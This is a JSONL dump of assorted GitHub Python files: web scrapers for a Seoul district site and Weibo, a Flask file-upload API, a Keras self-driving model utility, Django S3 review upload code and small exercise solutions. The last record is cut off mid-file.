+{"seq_id":"31303099793","text":"from workers.data_scraper.scraper_dormitory.scraping_default_usage import Scraper as ABCScraper\nfrom workers.data_scraper.scraper_dormitory.scraper_tools.tools import *\nfrom workers.data_scraper.scraper_dormitory.parser_tools.tools import *\nfrom urllib.parse import urlencode\n\n# 채널 이름 : 중랑\n\n# 타겟 : 공연안내 및 예약\n# 중단 시점 : 마지막 페이지 도달시\n\n# HTTP Request\n'''\n    @post list\n\n    method : GET\n    url : https://www.jungnang.go.kr/portal/app/integrateApp/integrateList.do?division=event&programId=integrateApp&menuNo=200383&pageIndex={page_count}\n    header :\n        None\n\n'''\n'''\n    @post info\n    method : GET\n    url : https://www.jungnang.go.kr/portal/app/event/select.do?id={post_id}&programId=event&division=event&menuNo=200383\n    header :\n        None\n\n'''\nsleepSec = 1\nisUpdate = True\n\n\nclass Scraper(ABCScraper):\n    def __init__(self, session):\n        super().__init__(session)\n        self.channel_name = '중랑'\n        self.post_board_name = '공연안내 및 예약'\n        self.channel_main_url = 'https://www.jungnang.go.kr'\n\n    def scraping_process(self, channel_code, channel_url, dev, full_channel_code):\n        super().scraping_process(channel_code, channel_url, dev, full_channel_code)\n        self.session = set_headers(self.session)\n        self.page_count = 1\n        while True:\n            print(f'PAGE {self.page_count}')\n\n            self.channel_url = self.channel_url_frame.format(self.page_count)\n\n            self.post_list_scraping(post_list_parsing_process, 'get')\n            if self.scraping_target:\n                self.target_contents_scraping()\n                self.collect_data()\n                self.mongo.reflect_scraped_data(self.collected_data_list)\n                self.page_count += 1\n            else:\n                break\n            self.session.cookies.clear()\n\n    def target_contents_scraping(self):\n        super().target_contents_scraping(post_content_parsing_process, sleepSec)\n\n\ndef post_list_parsing_process(**params):\n    target_key_info = {\n        'multiple_type': ['post_url', 'post_subject', 'start_date', 'end_date', 'is_going_on']\n    }\n\n    var, soup, key_list, text = html_type_default_setting(params, target_key_info)\n\n    # 2022-1-26 HYUN\n    # html table header index\n    table_column_list = ['번호', '구분', '제목', '신청기간', '처리현황']\n\n    # 게시물 리스트 테이블 영역\n    post_list_table_bs = soup.find('div', class_='table_wrap')\n\n    if not post_list_table_bs:\n        raise TypeError('CANNOT FIND LIST TABLE')\n\n    post_list_table_bs = post_list_table_bs.find('table', class_='inc_head')\n\n    # 테이블 컬럼 영역\n    post_list_table_header_area_bs = post_list_table_bs.find('thead')\n    # 테이블 칼럼 리스트\n    post_list_table_header_list_bs = post_list_table_header_area_bs.find_all('th')\n\n    # 테이블 컬럼명 검증 로직\n    for column_idx, tmp_header_column in enumerate(post_list_table_header_list_bs):\n        if table_column_list[column_idx] != tmp_header_column.text.strip():\n            print(f'IDX {column_idx} ERROR - {table_column_list[column_idx]} is {tmp_header_column.text.strip()}')\n            raise('List Column Index Change')\n\n    post_row_list = post_list_table_bs.find('tbody').find_all('tr')\n\n    for tmp_post_row in post_row_list:\n        # 첫번째, 게시물 '번호'가 th이므로 td 인덱스에서 1개 제외\n        for idx, tmp_td in enumerate(tmp_post_row.find_all('td')):\n\n\n            if idx == 0:\n                var['post_subject'].append(clean_text(tmp_td.text))\n            elif idx == 1:\n                var['post_url'].append(make_absolute_url(\n                    in_url=tmp_td.find('a').get('href'),\n                    channel_main_url=var['response'].url))\n            elif idx == 2:\n                tmp_date_period_str = clean_text(tmp_td.text)\n                date_str_list = tmp_date_period_str.split('~')\n                date_str_list = [f.strip() for f in date_str_list]\n                if len(date_str_list) == 2:\n                    var['start_date'].append(convert_datetime_string_to_isoformat_datetime(date_str_list[0]))\n                    var['end_date'].append(convert_datetime_string_to_isoformat_datetime(date_str_list[1]))\n                else:\n                    var['start_date'].append(tmp_date_period_str)\n            elif idx == 3:\n                if tmp_td.find('img', {'alt':'마감'}):\n                    var['is_going_on'].append(False)\n                else:\n                    var['is_going_on'].append(True)\n\n    result = merge_var_to_dict(key_list, var)\n    if var['dev']:\n        print(result)\n    return result\n\n\ndef post_content_parsing_process(**params):\n    target_key_info = {\n        # start_date2 : 공연시작 시간\n        'single_type': ['post_text', 'post_title', 'start_date2'],\n        'multiple_type': ['post_image_url', 'extra_info']\n    }\n    var, soup, key_list, _ = html_type_default_setting(params, target_key_info)\n    var['extra_info'] = [{\n        'info_title':'공연 상세'\n    }]\n    content_info_area = soup.find('div', class_='txt_box')\n    var['post_title'] = content_info_area.find('h2').text.strip()\n\n    content_info_area = content_info_area.find('div', class_='half_txt')\n    content_info_area = content_info_area.find('ul')\n\n    extra_info_column_list = ['관람료', '공연장소']\n\n    for tmp_row_area in content_info_area.find_all('li'):\n        column_title = tmp_row_area.em.text.strip()\n        tmp_row_area.em.decompose()\n        column_value = clean_text(tmp_row_area.text).replace(': ', '').strip()\n\n        if column_title == '공연시간':\n            var['start_date2'] = convert_datetime_string_to_isoformat_datetime(column_value)\n        elif column_title in extra_info_column_list:\n            tmp_extra_info_index = extra_info_column_list.index(column_title)\n            var['extra_info'][0]['info_' + str(tmp_extra_info_index + 1)] = [column_title,\n                                                                             column_value]\n\n    poster_area = soup.find('div', class_='half_box')\n    poster_area = poster_area.find('div', class_='half_img')\n\n    var['post_image_url'] = search_img_list_in_contents(poster_area, var['response'].url)\n\n    context_area = soup.select_one('div.gray_bg_box.img_box.line')\n    var['post_text'] = clean_text(context_area.text.strip())\n\n    if var['post_image_url'] is None:\n        var['post_image_url'] = []\n\n    var['post_image_url'].extend(search_img_list_in_contents(context_area, var['response'].url))\n\n    result = convert_merged_list_to_dict(key_list, var)\n    if var['dev']:\n        print(result)\n    return result","repo_name":"choiseulong/chancewave_scraping","sub_path":"scrapingProject/workers/data_scraper/scraper_dormitory/rooms/seoul/jungnang/scraper_2.py","file_name":"scraper_2.py","file_ext":"py","file_size_in_byte":6675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"26256396170","text":"#!/usr/bin/env python\n# coding=utf8\nimport os\nimport json\nimport time, datetime\nfrom model.setting import withBase, basecfg\nfrom flask import Blueprint, request, Response, render_template, g\nfrom rest import api\nfrom model.base import Unit\nfrom . import exepath, allowed\n\nINIT = \"\"\"#!/usr/bin/env python\n# coding=utf-8\n\"\"\"\n\n@api.route('/unit', methods=['POST'])\n@api.route('/unit/<uid>', methods=['POST'])\n@withBase(basecfg.W, resutype='DICT', autocommit=True)\ndef unit(uid=None):\n    user = request.user\n    condition = request.form.get('condition', '{}')\n    condition = json.loads(condition)\n    data = request.form.get('data', '{}')\n    data = json.loads(data)\n    pyfile = request.files.get('file')\n    projection = request.form.get('projection', '{}')\n    projection = json.loads(projection)\n\n    limit = request.form.get('limit', 'one')\n\n    if uid is not None:\n        condition['_id'] = uid\n    POST = False\n    if pyfile:\n        POST = True\n        result = {'stat':0, 'desc':'请上传正确格式的python文件', 'unit':Unit.queryOne(user, condition, projection=projection)}\n        if pyfile and allowed(pyfile.filename):\n            filename = pyfile.filename\n            filepath = exepath(filename)\n            pyfile.save(filepath)\n            filepath = os.path.join(os.path.dirname(filepath), '__init__.py')\n            if not os.path.exists(filepath):\n                fi = open(filepath, 'w')\n                fi.write(INIT)\n                fi.close()\n            result['stat'] = 1\n            result['desc'] = '上传成功'\n        result = json.dumps(result, ensure_ascii=False, sort_keys=True, indent=4).encode('utf8')\n    if data:\n        POST = True\n        if '_id' in condition:\n            data['$set'] = data.get('$set', {})\n            data['$set']['updator'] = user['_id']\n            Unit.update(user, condition, data)\n            uid = condition['_id']\n        else:\n            data['updator'] = user['_id']\n            data['creator'] = user['_id']\n            data = Unit(**data)\n            uid = Unit.insert(user, data)\n        result = json.dumps({'stat':1, 'desc':'Unit is set successfully.', 'unit':{'_id':uid}}, ensure_ascii=False, sort_keys=True, indent=4).encode('utf8')\n    if not POST:\n        if limit == 'one':\n            result = Unit.queryOne(user, condition, projection=projection)\n        else:\n            result = list(Unit.queryAll(user, condition, projection=projection))\n        result = json.dumps({'stat':1, 'desc':'', 'unit':result}, ensure_ascii=False, sort_keys=True, indent=4).encode('utf8')\n    return result\n        ","repo_name":"listen-lavender/pholcus","sub_path":"gds/blueprint/api/unit.py","file_name":"unit.py","file_ext":"py","file_size_in_byte":2585,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"41808773551","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Aug 19 14:16:59 2021\n\n@author: Musya\n\"\"\"\n\nimport time\nimport pandas as pd\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.utils import shuffle\nimport matplotlib.image as mpimg\nfrom imgaug import augmenters as iaa\nimport cv2\nimport random\nfrom dynamic import DynamicArray\n\nimport tensorflow as tf\nfrom tensorflow import keras\nfrom tensorflow.keras.layers import Dense, Flatten, Conv2D, MaxPooling2D #Import various layers for the Neural Net\nfrom tensorflow.keras.optimizers import Adam  #Import optimizers for the Neural Net\n#from keras.layers import concatenate, Dropout\n\nos.chdir('/home/pi/Autonomous-Car/DATA')\nos.chdir('/home/pi/Autonomous-Car/DATA/CSV')\npath = os.getcwd()\n\nname = os.path.join(path, 'drivelog.csv')\ndef getName(filePath):\n    return filePath.split(\"\\\\\")[-1]\ndef importData():\n    print(\"Importing Data...\")\n    columns = ['Image_name','PWML','PWMR']\n    data = pd.read_csv(name,names = columns)\n    data['Image_name'] = data['Image_name'].apply(getName)\n    #print(\"Total Rows:\", data.shape[0])\n    #print(\"Total Columns:\", data.shape[1])\n    return data\ndef balanceData(data):\n\n    nBins = 121\n    spBin = 200\n\n    hist,bins = np.histogram(data['PWML'],nBins)\n    center = (bins[-1:]+bins[1:])*.5\n    plt.bar(center,hist,width = .05)\n    plt.plot((0,50),(spBin,spBin))\n    plt.title('Initial Distribution')\n    #plt.show()\n\n\n    #hist2,bins2 = np.histogram(data['PWMR'],nBins)\n    #center2 = (bins2[-1:]+bins2[1:])*.5\n    #plt.bar(center2,hist2,width = .5)\n    #plt.plot((0,50),(spBin,spBin))\n    #plt.title('Initial Distribution')\n    #plt.show()\n\n    q = input(\"Do you want to balance data? y>Yes/n>No: \")\n    q = q.lower()\n    if q == ('y' or 'yes'):\n        print(\"Balancing Data...\")\n        removedIndex = []\n        for j in range(nBins):\n            binData = []\n            for i in range(len(data['PWML'])):\n                if data['PWML'][i]>=bins[j] and data['PWML'][i] <= bins[j+1]:\n                    binData.append(i)\n            binData = shuffle(binData)\n            binData = binData[spBin:]\n            removedIndex.extend(binData)\n        print(\"Available Images:\", len(data))\n        data.drop(data.index[removedIndex], inplace = True)\n        print(\"Removed Images:\", len(removedIndex))\n        print(\"Remaining Images:\", len(data))\n\n        hist,bins = np.histogram(data['PWML'],nBins)\n        plt.bar(center,hist,width = .5)\n        plt.plot((0,50),(spBin,spBin))\n        plt.title('Final Distribution')\n        plt.show()\n\n        print(\"Balancing finished\")\n    elif q == ('n' or 'no'):\n        print(\"Pass\")\n        pass\n    return data\n\ndef loadData(path,data):\n    print(\"Loading Data...\")\n    imgPath = []\n    steering = []\n    throttle = []\n    for i in range(len(data)):\n        indexData = data.iloc[i]\n        imgPath.append(os.path.join(path,'DATA\\IMG',indexData[0]))\n        steering.append(float(indexData[1]))\n        throttle.append(float(indexData[2]))\n        print(i, \"of\", len(data))\n    imgPath = np.asarray(imgPath)\n    steering = np.asarray(steering)\n    throttle = np.asarray(throttle)\n    print(\"Returning data\")\n    return imgPath, steering, throttle\n\ndef augmentImage(imgPath,PWML,PWMR):\n    img = mpimg.imread(imgPath)\n    if np.random.rand() < 0.5:\n        zoom = iaa.Affine(scale=(1,1.2))\n        img = zoo.augment_image(img)\n    if np.random.rand() < 0.5:\n        img = cv2.flip(img,1)\n        PWML = PWMR\n        PWMR = PWML\n    return img,PWML,PWMR\ndef preProcess(img):\n    img = cv2.cvtColor(img, cv2.COLOR_RGB2YUV)\n    img = cv2.GaussianBlur(img, (3,3),0)\n    img = cv2.resize(img, (200,66))/255.0\n    return img\n\n\ndef batchGen(imgPath,outputs, batchSize):\n    steeringList = outputs[0]\n    throttleList = outputs[1]\n    while True:\n        imgBatch = []\n        steeringBatch = []\n        throttleBatch = []\n        for i in range(batchSize):\n            index = random.randint(0, len(imgPath)-1)\n            #if trainFlag:\n                #img = augmentImage(imgPath[index],\n                #steering = steering[index],\n                #throttle = throttle[index])\n            #else:\n            img = mpimg.imread(imgPath[index])\n            steering = steeringList[index]\n            throttle = throttleList[index]\n\n            img = preProcess(img)\n            imgBatch.append(img)\n            steeringBatch.append(steering)\n            throttleBatch.append(throttle)\n        yield(np.asarray(imgBatch),\n                [np.asarray(steeringBatch),\n                np.asarray(throttleBatch)]\n                )\n\ndef createModel():\n    print(\"Creating Model\")\n    img_Input = keras.Input(shape=(66, 200,3), name='Image')\n\n    img = Conv2D(24, (5,5), (2, 2), activation='elu')(img_Input)\n    img = Conv2D(36, (5,5), (2, 2), activation='elu')(img)\n    img = Conv2D(48, (5,5), (2, 2), activation='elu')(img)\n    img = Conv2D(64, (3,3), activation='elu')(img)\n    img = Conv2D(64, (3,3), activation='elu')(img)\n\n    img = Flatten()(img)\n\n    img = Dense(100, activation='elu',name=\"layer1\")(img)\n    img = Dense(50, activation='elu',name=\"layer2\")(img)\n    img = Dense(10, activation='elu',name=\"layer3\")(img)\n\n    steering = Dense(1, name = 'Steering')(img)\n    throttle = Dense(1, name = 'Throttle')(img)\n\n    model = keras.Model(inputs = img_Input, outputs = [steering,throttle])\n    print(\"Creating Model Done\")\n    #keras.utils.plot_model(model,\"AI-CAR.jpeg\")\n\n    model.compile(loss='mean_squared_error',\n              optimizer=Adam(learning_rate=0.0001),\n              metrics=['Accuracy'])\n\n    return model","repo_name":"JosephMusya/Tensorflow-AI-self-driving-","sub_path":"utilis.py","file_name":"utilis.py","file_ext":"py","file_size_in_byte":5564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"74781464649","text":"from setuptools import setup, find_packages\nrequired_modules = [ \n\t\"simplejson\"\n\t]\n\nsetup(\n\tname=\"jsonify\",\n\tversion=\"0.0.1\",\n\tdescription=\"\",\n\tauthor=\"Christopher H. Casebeer\",\n\tauthor_email=\"christopher@chc.name\",\n\turl=\"\",\n\tentry_points = '''\n\t\t[console_scripts]\n\t\tjsonify = jsonify:main\n\t''',\n\tpackages=find_packages(exclude='tests'),\n\tinstall_requires=required_modules\n\t)\n\n","repo_name":"casebeer/jsonify","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"22929016716","text":"import sys\n\n\ndef main():\n    chunk_cnt = 0\n    variance_of_all = 0\n    mean_of_all = 0\n\n    for line in sys.stdin:\n        chunk, mean, variance = line.split()\n        chunk = int(chunk)\n        mean = float(mean)\n        variance = float(variance)\n        mean_of_all = (mean_of_all * chunk_cnt + chunk * mean) / (chunk + chunk_cnt)\n        variance_of_all = (chunk * variance + chunk_cnt * variance_of_all) / (chunk + chunk_cnt) + \\\n                          chunk * chunk_cnt * ((mean_of_all - mean) / (chunk + chunk_cnt)) ** 2\n        chunk_cnt += chunk\n\n    print(variance_of_all)\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"genusB/made_mldb","sub_path":"hw1/reducer_var.py","file_name":"reducer_var.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"74084186889","text":"input()\nst = \"\"\nwhile True:\n    try: \n        s = input()\n    except EOFError:\n        break\n    \n    if(s == \"\"):\n        break\n    \n    st += s\n    \nst = \" \".join(st.split()).split(\" \")\n\nnumbList =  [int(x) for x in st]\nmi = min(numbList)\nprint(f\"\"\"Menor valor: {mi}\nPosicao: {numbList.index(mi)}\"\"\")","repo_name":"LedoVeras/CodeProblems","sub_path":"Beecrowd/python/1180 Menor e Posição.py","file_name":"1180 Menor e Posição.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70342165450","text":"\nimport os\nimport sys\n\nproject_slug = \"{{ cookiecutter.project_slug }}\"\n\nMESSAGE_COLOR = \"\\x1b[32m\"\nRESET_ALL = \"\\x1b[0m\"\n\nprint(f\"{MESSAGE_COLOR}Initializing a new project\")\nprint(f\"Creating project at {os.getcwd()}{RESET_ALL}\")","repo_name":"daniel-epm/cookiecutter-template-draft","sub_path":"hooks/pre_gen_project.py","file_name":"pre_gen_project.py","file_ext":"py","file_size_in_byte":229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"3881863","text":"# https://www.acmicpc.net/problem/1254\nfrom collections import deque\n\nS = deque(list(input()))\n\n# 팰린드롬 체크\ndef check(S):\n    for i in range(len(S)//2):\n        if S[i] != S[len(S)-1-i]:# 0/3 1/2\n            return False\n    return True\n\nreverseS = deque([])\nif check(S) is False:\n    for i in range(len(S)):\n        reverseS.appendleft(S[i])\n        if check(S+reverseS) is True:\n            print(len(S)+len(reverseS))\n            break\nelse:\n    print(len(S))","repo_name":"spdlqjdk1012/naver","sub_path":"21.팰린드롬만들기.py","file_name":"21.팰린드롬만들기.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"17129341839","text":"import os\nimport matplotlib.pyplot as plt\nfrom util.pause import pause\n\n\ndef dbToDataStore(dirIn, dirOut, extOrig, extNew, log):\n\n    # display\n    if log:\n        print(\"Transforming DB...\")\n\n    # transform db\n    for name in os.listdir(dirIn):\n        if name.endswith(extOrig):\n            # display\n            #if log:\n                #print(\"\\tProcessing: \" + name)\n            # read name\n            pre, ext = os.path.splitext(name)\n            # get label\n            C = pre.split('_')\n            # create dir with label\n            dirOutLabel = os.path.join(dirOut, C[1])\n            # newname\n            newName = pre + '.' + extNew\n            newPath = os.path.join(dirOutLabel, newName)\n            # if already present skip\n            if os.path.exists(newPath):\n                continue\n            # create directory if not present\n            if not os.path.exists(dirOutLabel):\n                os.makedirs(dirOutLabel)\n            # read\n            img = plt.imread(os.path.join(dirIn, name))\n\n            # display\n            \"\"\"\n            print(newName)\n            plt.imshow(img)\n            plt.show()\n            pause()\n            \"\"\"\n\n            # write\n            plt.imsave(newPath, img)\n\n            #pause()\n\n    print()\n\n","repo_name":"AngeloUNIMI/HistoTNet","sub_path":"(2) PyTorch_HistoTNet/util/dbToDataStore.py","file_name":"dbToDataStore.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"16"}
+{"seq_id":"7622037183","text":"from rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework import status\n\n# Settings\nfrom django.conf import settings\n\n# Serializers\nfrom ..serializers import ReviewSerializer\n\n# Utils\nfrom utils.s3_instance import s3\nfrom utils.create_error import create_error\nfrom ..utils import generate_filename\n\n# Review Create and Retrieve List view\nclass ReviewCreateRetrieve(APIView):\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.BAD_REQUEST = create_error('Bad Request', 'The review data is invalid')\n\n    # Upload image to Amazon S3\n    # Args:\n    #   image: Image file\n    # Return\n    #   Amazon S3 URL\n    def upload_image_to_s3(self, image):\n        # Extract the file extension from the image name\n        file_format = image.name.split('.')[1]\n\n        # Generate a unique name for the image\n        file_name = generate_filename(file_format)\n\n        # Generate a unique key for the image in S3\n        image_key = f\"reviews/{file_name}\"\n\n        # Upload the image to Amazon S3\n        s3.upload_fileobj(image, settings.AWS_STORAGE_BUCKET_NAME, image_key)\n\n        # Construct the S3 URL of the uploaded image\n        s3_url = f\"https://{settings.AWS_STORAGE_BUCKET_NAME}.s3.amazonaws.com/{image_key}\"\n\n        return s3_url\n\n    # Create a new review in the database\n    # Args:\n    # response: Response object\n    # Return:\n    #   Response object\n    def post(self, request, **kwargs):\n        # Get the uploaded image file from the request\n        image_file = request.FILES.get('image')\n\n        # If image file does not exist, raise a bad request error\n        if image_file is None:\n            error = create_error('Missing file', 'The image file is required')\n            return Response(error, status=status.HTTP_400_BAD_REQUEST)\n\n        # Extract the product Id number from the keyword arguments\n        product_id = kwargs.get('product_id')\n\n        # Retrieve user from the body of the request\n        user_id = request.user.pk\n\n        # Retrieve feedback from the body of the request\n        feedback = request.data.get('feedback')\n\n        # If the feedback field does not exist, raise a missing field error\n        if feedback is None:\n            error = create_error('Missing field', 'The feedback field is required')\n            return Response(error, status=status.HTTP_400_BAD_REQUEST)\n\n        # Retrieve rating from the body of the request\n        rating = request.data.get('rating')\n\n        # If the rating field does not exist, raise a missing field error\n        if rating is None:\n            error = create_error('Missing field', 'The rating field is required')\n            return Response(error, status=status.HTTP_400_BAD_REQUEST)\n\n        # Upload image to S3 bucket\n        s3_url = self.upload_image_to_s3(image_file)\n\n        # Initialize review data\n        review_data = {\n            'user': user_id,\n            'product': product_id,\n            'feedback': feedback,\n            'rating': rating,\n            'media_url': s3_url\n        }\n\n        # Validate review data against its serializer\n        serializer = ReviewSerializer(data=review_data)\n\n        # If data is invalid, raise a bad request error\n        if serializer.is_valid() == False:\n            return Response(self.BAD_REQUEST, status=status.HTTP_400_BAD_REQUEST)\n\n        # Save new review in the database\n        serializer.save()\n\n        return Response(serializer.data, status=status.HTTP_201_CREATED)\n\n\n# View\nreview_create_view = ReviewCreateRetrieve.as_view()","repo_name":"EgorUshakovOfficial/ecommerce-project","sub_path":"server/project/apps/reviews/views/ReviewCreateView.py","file_name":"ReviewCreateView.py","file_ext":"py","file_size_in_byte":3579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"962231830","text":"import requests\nimport time\nimport threading\nfrom time import sleep\nfrom random import randint\nimport os\nfrom urllib.parse import urlencode\nfrom pyquery import PyQuery as Pq\nfrom static import tools\nfrom get_weibo_comment import get_weibo_comment\n\n# 手机端微博的网址\nhost = 'm.weibo.cn'\n# 个人主页\nbase_url = 'https://%s/api/container/getIndex?' % host\n# 博文\nweibo_baseurl = 'https://m.weibo.cn/detail/'\n# 存储地址\nedges_user_pub_weibo = r'E:\\weibo\\edges_user_pub_weibo_%s.txt'  # 发表关系\nedges_user_trans_weibo = r'E:\\weibo\\edges_user_trans_weibo_%s.txt'  # 转发关系\nweibo_content = r'E:\\weibo\\weibo_content_%s.txt'\nweiboNodes_path = r'E:\\weibo\\weiboNodes.txt'\nweibo_comments_path = r'E:\\weibo\\weibo_comments_%s.txt'\n\n\ndef trans_format(time_string, from_format=\"%a %b %d %H:%M:%S +0800 %Y\", to_format='%Y.%m.%d %H:%M:%S'):\n    \"\"\"\n    @note 时间格式转化\n    :param time_string:\n    :param from_format:\n    :param to_format:\n    :return:\n    \"\"\"\n    time_struct = time.strptime(time_string, from_format)\n    times = time.strftime(to_format, time_struct)\n    return times\n\n\ndef get_single_page(user_id, page=1):\n    \"\"\"\n    爬取第page页的用户博文内容\n    这里为了简便分析，一般只爬取一个用户2-6条博文\n    :param page:  页码\n    :param user_id:  需要爬取的用户id\n    :return:\n    \"\"\"\n    # 必要的参数\n    params = {\n        'type': 'uid',\n        'value': user_id,\n        'containerid': int('107603' + user_id),  # containerid就是微博用户id前面加上107603\n        'page': page\n    }\n    # 爬取请求头\n    headers = {\n        'Host': host,\n        'Referer': 'https://m.weibo.cn/u/%s' % user_id,\n        'User-Agent': tools.get_random_ua()['User-Agent']\n    }\n    # 爬取网址\n    url = base_url + urlencode(params)\n    try:\n        # 请求网页\n        response = requests.get(url, headers=headers)\n        # 请求成功\n        if response.status_code == 200:\n            return response.json()\n    except requests.ConnectionError as e60:\n        print('e60抓取错误:', e60.args)\n\n\ndef analysis(response_json, user_id, thread_id, weibo_id_list, f_weibo_comment):\n    \"\"\"\n    解析爬取用户博文页面返回的json数据\n    :param f_weibo_comment: 写入评论句柄\n    :param response_json: 返回的json数据\n    :param user_id: 爬取的用户id\n    :param thread_id: 线程id\n    :param weibo_id_list: 存储博文id的列表\n    :return:\n    \"\"\"\n    # 博文所处的位置\n    items = response_json.get('data').get('cards')\n    # 当博文大于6条时，随机爬取3到6条\n    if len(items) > 6:\n        num = randint(3, 6)\n    # 博文数小于3条时，全部爬取\n    else:\n        num = len(items)\n    current_num = 0\n    f_user_pub_weibo = open(edges_user_pub_weibo % str(thread_id), 'a+', encoding='utf-8')\n    f_user_trans_weibo = open(edges_user_trans_weibo % str(thread_id), 'a+', encoding='utf-8')\n    f_weibo_content = open(weibo_content % str(thread_id), 'a+', encoding='utf-8')\n    for item in items:\n        try:\n            init_wb = item.get('mblog')\n            # 存在微博\n            if init_wb:\n                weibo_id = init_wb.get('id')\n                cr_time = trans_format(init_wb.get('created_at'))\n                # 获取本项目所需属性\n                data = {\n                    'weibo_id': weibo_id,\n                    '发表时间': cr_time,\n                    'text': Pq(init_wb.get(\"text\")).text(),  # 仅提取内容中的文本\n                    '点赞': init_wb.get('attitudes_count'),   # 点赞数\n                    '评论': init_wb.get('comments_count'),    # 评论数\n                    # 'reposts': init_wb.get('reposts_count')     # 转发数\n                }\n                # 代表是转发的微博\n                if init_wb.get('retweeted_status') is not None:\n                    trans_weibo = init_wb.get('retweeted_status')\n                    trans_weibo_id = trans_weibo.get('id')\n                    trans_weibo_created_at = trans_format(trans_weibo.get('created_at'))\n                    trans_weibo_content = get_specific_weibo(trans_weibo_id)\n                    trans_weibo_content = Pq(trans_weibo_content).text()\n                    data['text'] = trans_weibo_content\n                    data['发表时间'] = trans_weibo_created_at\n                    # 博文ID暂存列表\n                    weibo_id_list.append(trans_weibo_id)\n                    # 写入文件\n                    f_user_trans_weibo.write(str(user_id) + ' ' + str(trans_weibo_id) + '\\n')\n                    f_weibo_content.write(str(data) + '\\n')\n                    get_weibo_comment(trans_weibo_id, f_weibo_comment)\n                else:\n                    # 博文ID暂存列表\n                    weibo_id_list.append(weibo_id)\n                    # 写入文件\n                    f_user_pub_weibo.write(str(user_id) + ' ' + str(weibo_id) + '\\n')\n                    f_weibo_content.write(str(data) + '\\n')\n                    get_weibo_comment(weibo_id, f_weibo_comment)\n                current_num += 1\n            if current_num >= num:\n                break\n        except Exception as e116:\n            # print('e116:' + str(e116.args))\n            pass\n    f_user_trans_weibo.close()\n    f_user_pub_weibo.close()\n    f_weibo_content.close()\n\n\ndef get_specific_weibo(weibo_id):\n    \"\"\"\n    爬取特定博文内容\n    :param weibo_id:\n    :return:\n    \"\"\"\n    # 爬取请求头\n    headers = {\n        'Host': host,\n        'Referer': 'https://m.weibo.cn/detail/%s' % weibo_id,\n        'User-Agent': tools.get_random_ua()['User-Agent']\n    }\n    # 爬取网址\n    url = weibo_baseurl + weibo_id\n    try:\n        # 请求网页\n        response = requests.get(url, headers=headers)\n        # 请求成功\n        if response.status_code == 200:\n            text = str(response.text).split('\"text\": \"')[1].split('\"textLength\"')[0].replace(' \",', '')\n            return text\n    except requests.ConnectionError as e:\n        print('抓取错误', e.args)\n\n\nclass MyThread (threading.Thread):\n    \"\"\"\n    自定义线程，爬取内容分根据用户ID分为4个线程一起爬，加快速率\n    \"\"\"\n    def __init__(self, thread_id, user_id_list):\n        \"\"\"\n        初始化线程函数\n        :param thread_id: 线程id\n        :param user_id_list: 用户id列表\n        \"\"\"\n        threading.Thread.__init__(self)\n        self.thread_id = thread_id\n        self.user_id_list = user_id_list\n        self.weibo_id_list = []\n        # 删除已有文件\n        if os.path.exists(weibo_content % thread_id):\n            os.remove(weibo_content % thread_id)\n        if os.path.exists(edges_user_pub_weibo % thread_id):\n            os.remove(edges_user_pub_weibo % thread_id)\n        if os.path.exists(edges_user_trans_weibo % thread_id):\n            os.remove(edges_user_trans_weibo % thread_id)\n        if os.path.exists(weibo_comments_path % thread_id):\n            os.remove(weibo_comments_path % thread_id)\n        self.f_weibo_comment = open(weibo_comments_path % thread_id, 'w+', encoding='utf-8')\n\n    def run(self):\n        \"\"\"\n        线程函数\n        :return:\n        \"\"\"\n        print('线程%d爬取开始' % self.thread_id)\n        for user_id in self.user_id_list:\n            try:\n                response_json = get_single_page(user_id)\n                analysis(response_json, user_id, self.thread_id, self.weibo_id_list, self.f_weibo_comment)\n                sleep(randint(1, 3))\n            except Exception as e1:\n                print(e1.args)\n        # 线程计数器，爬取完加1\n        global thread_countLock\n        thread_countLock = thread_countLock + 1\n        print('线程%d爬取结束' % self.thread_id)\n        self.f_weibo_comment.close()\n\n    def get_weibo_id_list(self):\n        return self.weibo_id_list\n\n\n# 线程计数器\nthread_countLock = 0\nuser_id_list = []\n\n\ndef work_fun():\n    try:\n        f_users_id = open(r'E:\\weibo\\userNodes.txt', 'r', encoding='utf-8')\n        lines = f_users_id.readlines()\n        for line in lines:\n            user_id = line.strip('\\n')\n            user_id_list.append(user_id)\n        f_users_id.close()\n        # 将用户结点列表一分为三\n        each_coverage_size = int(len(user_id_list)/4)\n        # 所有博文ID\n        all_weibo_id_list = []\n        # 开始爬取时间\n        # time_start = time.time()\n        # 创建线程爬取\n        thread1 = MyThread(1, user_id_list[0: each_coverage_size])\n        thread2 = MyThread(2, user_id_list[each_coverage_size: 2*each_coverage_size])\n        thread3 = MyThread(3, user_id_list[2*each_coverage_size: 3*each_coverage_size])\n        thread4 = MyThread(4, user_id_list[3 * each_coverage_size:])\n        thread1.start()\n        thread2.start()\n        thread3.start()\n        thread4.start()\n        # 爬取完之前不执行后续工作\n        reptile_threads = [thread1, thread2, thread3, thread4]\n        for thread in reptile_threads:\n            thread.join()\n            all_weibo_id_list.extend(thread.get_weibo_id_list())\n        # 将博文id写入文件\n        all_weibo_id_list = list(set(all_weibo_id_list))\n        